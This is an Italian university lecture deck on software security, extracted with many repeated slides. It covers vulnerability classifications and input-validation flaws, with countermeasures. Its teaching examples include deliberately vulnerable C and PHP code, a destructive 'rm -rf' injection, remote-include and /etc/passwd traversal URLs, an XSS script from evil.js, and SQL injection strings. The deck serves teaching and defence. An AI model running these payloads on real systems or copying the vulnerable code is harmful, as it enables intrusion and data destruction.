Software Security

OutlineIntroduzione al corso

Sicurezza delle ApplicazioniInput Validation and Representation

Sicurezza delle reti e delle Applicazioni

Docente: Prof. L. V. Mancini

September 27, 2008

Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni

DocentiDispenseModalita di esame

Sicurezza delle ApplicazioniClassificazioni delle Vulnerabilita delle ApplicazioniClassificazione adottata: Seven Pernicious Kingdoms

Input Validation and RepresentationAPI AbuseSecurity FeaturesTime and StateError HandlingCode QualityEncapsulation* Environment

Input Validation and RepresentationBuffer OverflowCommand InjectionCross-Site Scripting (XSS)SQL Injection

Docenti del corso

I Prof. Luigi V. Mancini Dipartimento di Informatica

I Dott. E. Gabrielli Dip. Informatica(Supporto didattico per esercitazioni)

I Dott. R. Battistoni Dipartimento di Informatica(Supporto didattico per esercitazioni)

Docenti del corso

Dispense

Tutte le informazioni del corso, incluse le dispense, possono esserescaricate (file zip con password: *****) alla homepage del corso 1.E inoltre disponibile una mailing-list ([email protected]), acui gli studenti sono VIVAMENTE PREGATI di iscriversi. Nellamailing-list si discute di contenuti del corso, modalita di esame ecomunicazioni del caso.

1http://www.dsi.uniroma1.it/Sicurezza/Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni

Modalita di esame

Ogni studente dovra consegnare un progetto, da solo o in gruppodi max 3 studenti, e sostenere una prova orale. Il progetto verraassegnato entro il 15 Ottobre e dovra essere consegnato entro fineFebbraio.La prova orale e su appuntamento.

Classificazioni delle Vulnerabilita delle ApplicazioniClassificazione adottata: Seven Pernicious Kingdoms

Classificazioni Note

Classificazioni note:

I Common Weakness Enumeration (CWE ) project 2

I OWASP Honeycomb project 3

I Seven Pernicious Kingdoms 4

2http://ccve.mitre.org/cwe/3http://www.owasp.prg/index.php/Category:OWASP Honeycomb Project4Tsipenyuk, Chess, McGrwar, 2005

Seven Pernicious Kingdoms (SPK)

In questo corso adottiamo la classificazione Seven PerniciousKingdoms in quanto offre ai programmatori gli strumenti perconoscere i tipi di errori di coding che comportano problemi disicurezza alle applicazioni. L’obiettivo ultimo di questa parte dicorso e di permettere al programmatore di conoscere gli aspetti disicurezza derivanti da errori di codifica software, in modo tale chepossa effettuare un’analisi statica del codice per l’individuazione dipotenziali bug di sicurezza. Parte del corso sara dedicata all’analisistatica del codice.

Fortify Source Code Analysis

Adotteremo il software SCA Fortify per eseguire dei test su alcuniesempi di codice.SCA Fortify consente la gestione del processo di review del codicee supporta diverse classificazioni di errori.E ampiamente diffuso 5.

5http://www.fortify.com/customer-success/case-studies/Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni

SPK: lista delle categorie di Vulnerabilita

Le categorie, in ordine di importanza, previste da SPK sono:

I Input Validation and Representation

I API Abuse

I Security Features

I Time and State

I Error Handling

I Code Quality

I Encapsulation

I (*) Environment

Una descrizione dettagliata e fornita in 66http://vulncat.fortify.com

I API Abuse

I Security Features

I Time and State

I Error Handling

I Code Quality

I Encapsulation

I (*) Environment

I API Abuse

I Security Features

I Time and State

I Error Handling

I Code Quality

I Encapsulation

I (*) Environment

I API Abuse

I Security Features

I Time and State

I Error Handling

I Code Quality

I Encapsulation

I (*) Environment

I API Abuse

I Security Features

I Time and State

I Error Handling

I Code Quality

I Encapsulation

I (*) Environment

I API Abuse

I Security Features

I Time and State

I Error Handling

I Code Quality

I Encapsulation

I (*) Environment

I API Abuse

I Security Features

I Time and State

I Error Handling

I Code Quality

I Encapsulation

I (*) Environment

I API Abuse

I Security Features

I Time and State

I Error Handling

I Code Quality

I Encapsulation

I (*) Environment

Input Validation and Representation

E il tipo di vulnerabilita piu diffuso e pericoloso delle applicazioniodierne, specialmente per le applicazioni web (via HTTP). Siverifica quando gli input non sono conformi (per lunghezza,presenza di metacaretteri e codifica numerica) ai valori chel’applicazione si aspetta e se vengono utilizzati senza gli opportunicontrolli (Input Validation).

API Abuse

E un errore dovuto al mancato rispetto, da una delle due parti (chiinvoca l’API o chi la fornisce), di una API (ApplicationProgramming Interface), oppure quando viene utilizzata in manieraimpropria. Esempi sono: una funzione random che NON forniscenumeri casuali, o l’uso di una funzione di cancellazione file per larimozione dei dati in esso contenuti.

Security Features

E un tipo di vulnerabilita che e causata dalla maldestraimplementazione di una security feature. Un esempio classico diquesto tipo di problema e l’uso di password hardcoded, oppuredella mancata cancellazione, dopo il suo uso, di una variabilecontentente una password.

Time and State

Causato da effetti indesiderati di concorrenza (time) e condivisionedi informazione (state). Accade quando si verifica una interazione(accesso concorrente a shared memory, semafori, files, etc..)inaspettata tra thread, processi, tempi e dati.

Error Handling

E un tipo di vulnerabilita che puo presentarsi in due modalita:gestione errata o assente degli errori di una API, diffusione diinformazioni causato dalla eccessiva attivita di logging o dimessaggi causata da errori. Un esempio e il messaggio delfallimento di connessione al db che molti applicativi web fornisconoin caso di collegamento allito. Spesso questi messaggi riportanodettagli (username, hostname password) che espongool’applicazione a problemi di sicurezza.

Code Quality

Codice di qualita scadente puo consentire ad un attaccante diforzare l’applicazione ad eseguire operazioni ”imprevediste”. Ciopuo accadere ad esempio per:

I Memory Leak: L’uso della memoria cresce a causa delmancato rilascio (free) dopo l’uso.

I Obsolete: L’uso di funzionalita obsolete.

I Use After Free: L’uso di una zona di memoria dopo il suorilascio (free).

Code Quality

Encapsulation

La mancanza di ”confini” affidabili tra applicazioni, oggetti delleapplicazioni, dati utente, potrebbe consentire la violazione di datitra gli stessi. Esempi tipici di questi casi sono:

I Data Leaking Between Users: Dati di una sessione utentepossono ”sconfinare” in sessioni di altri utenti a causa di unaerrata gestione di singletons o pools di oggetti condivisi.

I System Information Leak: Rivelare dettagli del sistema oinformazioni di debug puo consentire ad un avversario dicreare un piano di attacco.

Encapsulation

La mancanza di ”confini” affidabili tra applicazioni, oggetti delleapplicazioni, dati utente, potrebbe consentire la violazione di datitra gli stessi. Esempi tipici di questi casi sono:

I Data Leaking Between Users: Dati di una sessione utentepossono ”sconfinare” in sessioni di altri utenti a causa di unaerrata gestione di singletons o pools di oggetti condivisi.

I System Information Leak: Rivelare dettagli del sistema oinformazioni di debug puo consentire ad un avversario dicreare un piano di attacco.

* Environment

Include tutti gli aspetti di ambiente (environmnet) che nondipendono dal codice sorgente. Si tratta di aspetti che hanno a chefare con la configurazione di vari software e/o del sistemaOperativo in cui il software e eseguito. Esempi di errori di questotipo sono:

I Insecure Transport: Utilizzare sessioni SSL (es: https), mapermettere anche accesso in chiaro (http) puo vanificare ivantaggi tratti dall’uso del protocollo SSL.

I Insufficiente Session-ID Lenght: Utilizzare una lunghezza disession-id troppo corta puo consentire una facile ”violazione”dei session IDs.

* Environment

Include tutti gli aspetti di ambiente (environmnet) che nondipendono dal codice sorgente. Si tratta di aspetti che hanno a chefare con la configurazione di vari software e/o del sistemaOperativo in cui il software e eseguito. Esempi di errori di questotipo sono:

I Insecure Transport: Utilizzare sessioni SSL (es: https), mapermettere anche accesso in chiaro (http) puo vanificare ivantaggi tratti dall’uso del protocollo SSL.

I Insufficiente Session-ID Lenght: Utilizzare una lunghezza disession-id troppo corta puo consentire una facile ”violazione”dei session IDs.

Buffer OverflowCommand InjectionCross-Site Scripting (XSS)SQL Injection

Questo tipo di vulnerabilita si puo manifestare nelle seguenti forme:

I Buffer Overflow

I Command injection

I Cross-Site Scripting

I Format String Problem

I Integer Range Errors

I SQL Injection

I Buffer Overflow

I Command injection

I SQL Injection

I Buffer Overflow

I Command injection

I SQL Injection

I Buffer Overflow

I Command injection

I SQL Injection

I Buffer Overflow

I Command injection

I SQL Injection

I Buffer Overflow

I Command injection

I SQL Injection

Buffer Overflow

Il Buffer Overflow si verifica quando una applicazione scrive i datiin un buffer oltrepassandone i limiti. Gli effetti di una similevulnerabilita possono essere molteplici (es: core dump, modifica didati contigui al buffer, esecuzione di codice), in funzione dellaspecifica applicazione. E una vulnerabilita tipica di applicaziniC/C++ ed e generalmente dovuta ad una non accuratamanipolazione di stringhe.

Un esempio di Vulnerabilita al Buffer Overflow

void leggiNome(void) {long contatore = 0;char nome[16];

gets(nome);}

Command Injection

Se l’applicazione acquisisce come input dei comandi da eseguire, odei parametri che possono influenzare i programmi che esegue,questo la espone a vulnerabilita di tipo Command Injection.Puo quindi verificarsi in due forme:

I Provoca l’esecuzione di un eseguibile diverso da quello chel’applicazione dovrebbe eseguire.

I Modifica l’ambiente in cui un eseguibile viene invocato,modificandone il comportamento.

Command Injection

Se l’applicazione acquisisce come input dei comandi da eseguire, odei parametri che possono influenzare i programmi che esegue,questo la espone a vulnerabilita di tipo Command Injection.Puo quindi verificarsi in due forme:

I Provoca l’esecuzione di un eseguibile diverso da quello chel’applicazione dovrebbe eseguire.

I Modifica l’ambiente in cui un eseguibile viene invocato,modificandone il comportamento.

Command Injection: modifica dell’eseguibile

L’utente puo sottoporre degli input in modo tale da far eseguireall’applicazione dei comandi pericolosi o per eseguire piu di uncomando. Un esempio tipico di questa tipo di vulnerabilita e l’usonon controllato del file .forward nei sistemi di posta elettronica(es: postfix e sendmail).

Command Injection: modifica dell’eseguibile: funzionipericolose

I Php e Perl: eval() eval(), system(), “ (backticks)

I Java: System.Runtime.exec

I C/C++: system(), exec**()

Esempi di vulnerabilita di tipo Command Injection

I catWrapper: modifica dell’eseguibile

I startCMD: modifica var. ambiente e quindi comportamentoeseguibile

I PhpWeb: upload di codice e successiva esecuzione

Esempi dahttp://www.owasp.org/index.php/Command Injection ehttp://en.wikipedia.org/wiki/Code injection.

Esempio di Command Injection: catWrapper 1/3

#include <stdio.h>#include <unistd.h>int main(int argc, char **argv) {char cat[] = "cat "; char *command; size_t commandLength;

commandLength = strlen(cat) + strlen(argv[1]) + 1;command = (char *) malloc(commandLength);strncpy(command, cat, commandLength);strncat(command, argv[1], (commandLength - strlen(cat)) );...

...system(command);return (0);

E pensato dal programmatore per essere invocato con un comandodel tipo:#catWrapper miofile.txt

Ma se catWrapper fosse invocato con la seguente sintassi:#catWrapper "miofile.txt; ls"produrrebbe, oltre al cat di miofile.txt che ci aspettiamo, anchei risultati di ls.E se si fosse utilizzato un comando piu pericoloso (es: ";rm -rf/") di ls ?

Esempio di Command Injection: startCMD 1/2

...char* home=getenv("APPHOME");char* cmd=(char*)malloc(strlen(home)+strlen(INITCMD));if (cmd) {

strcpy(cmd,home);strcat(cmd,INITCMD);execl(cmd, NULL);

Esempio di Command Injection: startCMD 2/2

Se l’utente invocasse tale binario modificando prima la variabile diambiente $APPHOME ?Con un comando del tipo:#set APPHOME=/tmp/maliciousbinaries/; ./startCMD ...

Code Injection: PhpWeb 1/4

<?php$color = ’blue’;if (__isset( $_GET[’COLOR’] ) )

$color = $_GET[’COLOR’];require( $color . ’.php’ );

Mentre la pagina che invoca (nelle intenzioni del programmatore)questa URL e:

</select><input type="submit">

</form>

Nell’intenzione del programmatore c’e’ quindi la selezione di unadelle due pagine, red.php o blue.php. Tuttavia, un attaccantepotrebbe forgiare la richiesta, mettendo in URL parametri maliziosicome di seguito descritto:

/vulnerable.php?COLOR=http://evil/exploit?Inietta il codice che gli si vuole far eseguire.

/vulnerable.php?COLOR=C:\\ftp\\upload\\exploitEsegue il codice caricato con comando precedente.

/vulnerable.php?COLOR=../../../../../../../../etc/passwd\%00Legge file delle password.

Esempi di Attacchi

http://en.wikipedia.org/wiki/Code injectionhttp://www.owasp.org/index.php/Command Injection

Cross-Site Scripting (XSS)

Gli attacchi di tipo XSS avvengono quando si verificano queste duecondizioni:

I L’applicazione web acquisisce dati da una fonte non fidata (es:HTTP request o dati da database)

I I dati introdotti al passo precedente vengono spediti ad altriutenti (destinatari dell’attacco).

Cross-Site Scripting (XSS)

Gli attacchi di tipo XSS avvengono quando si verificano queste duecondizioni:

I L’applicazione web acquisisce dati da una fonte non fidata (es:HTTP request o dati da database)

I I dati introdotti al passo precedente vengono spediti ad altriutenti (destinatari dell’attacco).

XSS: come avviene

Quando un attaccante sfrutta una vulnerabilita di tipo XSS,l’attacco viene portato a termine spedendo al browser dell’utenteattaccato del codice che viene eseguito. Tipicamente si tratta dicodice Javascript, Flash, ActiveX, ma anche HTML. In un attaccoXSS e la macchina dell’utente, per mezzo del suo browser, cheviene attaccata.

XSS: Possibili effetti

Le potenzialita di un attacco di tipo XSS sono molteplici.Tipicamente includono la possibilita per l’attaccante di catturare idati privati (phishing) dell’utente attaccato tramite il suo browser.Nel 2007 e stato stimato che l’80% degli attacchi documentati aisiti web riguardava vulnerabilita di tipo XSS 7.

7Symantec Internal Security Threat Report: Trends for July-December 2007Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni

XSS: il nome

Il nome Cross-Site sta a significare che il contenuto dell’attacco (ilcodice malizioso) che proviene da una fonte (l’attaccante), vieneinserito dentro il contenuto genuino da un altro soggetto 8.

8http://www.cert.org/advisories/CA-2000-02.htmlDocente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni

XSS: Categorie di attacco: Stored e Reflected

Gli attacchi di tipo XSS possono essere suddivisi in due categorie:

I Stored: Quando il codice dello script che effettua l’attacco ememorizzato sul server vulnerabile. In questo caso, l’utenteviene attaccato quando riceve questo script. Cio avvieneperche l’utente richiede i dati che contengono tale script.

I Reflected: Quando il server vulnerabile, tramite il qualel’attaccante porta a termine l’attacco, non ha il codice delloscript malizioso, bensı provvedere a farlo avere all’utenteattaccato per vie indirette (es: link spediti via mail, redirect dipagine web).

XSS: Categorie di attacco: Stored e Reflected

Gli attacchi di tipo XSS possono essere suddivisi in due categorie:

I Stored: Quando il codice dello script che effettua l’attacco ememorizzato sul server vulnerabile. In questo caso, l’utenteviene attaccato quando riceve questo script. Cio avvieneperche l’utente richiede i dati che contengono tale script.

I Reflected: Quando il server vulnerabile, tramite il qualel’attaccante porta a termine l’attacco, non ha il codice delloscript malizioso, bensı provvedere a farlo avere all’utenteattaccato per vie indirette (es: link spediti via mail, redirect dipagine web).

XSS: Stored

Sono gli attacchi che possono essere piu dannosi in quanto loscript, una volta memorizzato sul server, puo essere iniettato piuvolte. Un esempio tipico e dare la possibilita gli utenti di fare ipost di un messaggio contenente sintassi HTML. Un esempio diStored XSS e 9 che consente l’accesso al filesystem e l’esecuzionedi codice per mezzo di un filmato QuickMovie su MySpace.

9www.sophos.com/security/analyses/viruses-and-spyware/jsofigela.htmlDocente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni

XSS: Reflected

E la forma piu diffusa con cui si presenta il XSS. Si verifica quandoi dati provenienti da un client vengono manipolati da uno script sulserver per produrre una pagina dinamica. Se tali dati non sonovalidati, le pagine risultanti potrebbero contenere riferimenti ascript maliziosi. Questo potrebbe non essere considerato come unproblema poiche i dati che andrebbero a causare tale attacco sonoforniti dall’utente stesso che poi verra attaccato. Chi lo farebbe ?Purtroppo si puo indurre gli utenti a compiere simili azioni conl’inganno sfruttando tecniche di social engineering.

XSS: Reflected, un esempio.

Questo esempio JSP e tratto dal libro Secure Programming withStatic Analysis che descrive una vulnerabilita presente inFoundations of AJAX 10.

<c:if test="${param.sayHello}">HELLO ${param.name}!

</c:if>

10by Asleson and Schutta, 2005Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni

Se il prametro di ingresso e un nome (es: Pluto) come ci siaspetterebbe, allora la pagina JSP avrebbe un comportamentonormale:Hello Pluto!

Se al contrario, il parametro passato a questa pagina JSP fosse ilseguente:

%3Cscript%20src%3D%22http%3A//example.com/evil.js%22%3E%3C/script%3E

Allora il server decodifichera tale stringa come:

Hello <Script src="http://example.com/evil.js></script>!

Cosı da forzare il browser ad eseguire il contenuto dello scriptevil.js.

XSS: Reflected un esempio Concreto

Per portare a termine un attacco XSS sfruttando la vulnerabilitapresentata, supponendo che la pagina JSP vulnerabile siahttp://swhere.it/vuln.jsp, l’attaccante:

I Produce la URL maliziosa.I Sfruttando tecniche di social Engineering invia una mail

all’utente che vuole attaccare inserendovi il link alla URLforgiata. Inserendo nella mail il seeguente codice HTML:

<a ref="http://swhere.it/vuln.jsp?name=%3Cscript...>accedi </a>

I Attende che l’utente acceda al link inserito nella mail. Quandocio avviene, l’utente e stato indotto ad eseguire lo scriptmalizioso evil.js.

Cross-Site Scripting: esempi

Esempi:http://www.owasp.org/index.php/Cross-site Scripting (XSS)

SQL Injection

Si presenta come una injection di codice SQL che il client inseriscenei dati di input di una applicazione. Questo accade quandol’applicazione crea query SQL dinamicamente ed inserendovi deiparametri acquisiti dall’esterno e non adeguatamente validati.L’obiettivo di un simile attacco e il server di una applicazione, inquanto puo consentire al client di accedere al database utilizzatodal server attaccato.

SQL Injection: possible impatto

L’attaccante puo accedere al database e leggere, scrivere,rimuovere dati o per effettuare operazioni di amministrazione. Ciodipende dalla modalita con cui si presenta la vulnerabilita e lospecifico database attaccato. Un attacco di questo tipo devequindi essere considerato ad impatto elevato.

SQL Injection: un esempio 11

La pagina html ricevuta dal browser.

<form action=’login.php’ method=’post’>Username: <input type=’text’ name=’user’ />Password: <input type=’password’ name=’pwd’ /><input type=’submit’ value=’Login’ />

</form>

11esempio da: http://it.wikipedia.org/wiki/SQL injectionDocente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni

SQL Injection: un esempio

SE la pagina login.php, invocata sottomettendo la richiesta di logincon la pagina html di cui alla slide precedente, ha il seguentecodice:

<?php$query = "SELECT * FROM users WHERE user=’".$_POST[’user’]."’ AND pwd=’".$_POST[’pwd’]."’";

$sql = mysql_query($query,$db);if(mysql_affected_rows($sql)>0){// a questo punto l’utente ha ottenuto// accesso autenticato

}?> Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni

SQL Injection: un esempio

Se un client malizioso invia alla pagina login.php, anziche unausername ed una password, dei parametri maliziosi come i seguenti:username=a e password=’OR 1=1Una volta che i due parametri vengono inseriti nella query string($query), allora, la pagina login.php eseguira la seguente query:

SELECT * FROM users WHERE user=’a’ AND pwd=’’ OR 1=1’;

Cio consente all’attaccante di accedere in maniera autenticatapoiche la query individua sempre delle righe nella tabella (il test esempre positivo).

SQL Injection: un esempio, poteva andare peggio

In riferimento all’esempio precedente, potrebbero verificarsiattacchi con un impatto anche piu elevato. Si pensi infatti ai casiin cui il parametro password ricevuto dalla pagine login.phpfosse stato:

I x’; DROP TABLE users;

I x’; INSERT INTO users (...) VALUES (...);

l’uso del carattere ’;’ consente di concatenare un altro comandoSQL alla query !

SQL Injection: un esempio, poteva andare peggio

In riferimento all’esempio precedente, potrebbero verificarsiattacchi con un impatto anche piu elevato. Si pensi infatti ai casiin cui il parametro password ricevuto dalla pagine login.phpfosse stato:

I x’; DROP TABLE users;

I x’; INSERT INTO users (...) VALUES (...);

l’uso del carattere ’;’ consente di concatenare un altro comandoSQL alla query !

Esempi di SQL Injection e tools

Link interessanti per attacchi di tipo SQL injection sono:

I Esempihttp://www.owasp.org/index.php/SQL Injection

I Esempihttp://www.unixwiz.net/techtips/sql-injection.html

I Tool di supporto http://sqlninja.sourceforge.net/

SQL Injection: Principali Contromisure

Per prevenire attacchi di tipo SQL injection, le principalicontromisure sono quelle che impediscono il verificarsi dellecondizioni che rendono possibile l’attacco, e quindi:

I Validare opportunamente l’input (per impedire attacchi)

I Query Parametrizzate o Stored Procedures (per ridurre irischi di attacco)

SQL Injection: Principali Contromisure

Per prevenire attacchi di tipo SQL injection, le principalicontromisure sono quelle che impediscono il verificarsi dellecondizioni che rendono possibile l’attacco, e quindi:

I Validare opportunamente l’input (per impedire attacchi)

I Query Parametrizzate o Stored Procedures (per ridurre irischi di attacco)

SQL Injection: Query Parametrizzate

Utilizzano query string gia definita e vi sostituiscono specificiparametri ( anziche sostituire dei blocchi di testo come quando sicreano query string dinamicamente). Un esempio sono le PreparedStatement di Java.

SQL Injection: Java Prepared Statement

String selectStatement ="SELECT * FROM User WHERE userId = ? ";

PreparedStatement prepStmt =con.prepareStatement(selectStatement);

prepStmt.setString(1, userId);ResultSet rs = prepStmt.executeQuery();

SQL Injection: Prepared Statement

Sebbene le Prepared Statement riducano i rischi di vulnerabilita, senon sono ben fatte, possono presentare anch’esse vulnerabilita ditipo SQL injection. Come ad esempio:

String strUserName =request.getParameter("Txt_UserName");

PreparedStatement prepStmt =con.prepareStatement("SELECT * FROM user

WHERE userId = ’+strUserName+’");

SQL Injection: Stored Procedures

Sono delle procedure compilate e definite sul server. Sono utili perpredisporre dei batch che eseguono delle operazioni sui databases.Consentono di ottimizzare il codice, appesantendo pero le attivitadei database, e rendere piu leggibile il codice. Aiutano a limitare lepossibilita di sfruttare attacchi di tipo SQL Injection, ma non sonoesenti da vulnerabilita.

Software Security

Technology

Transcript of Software Security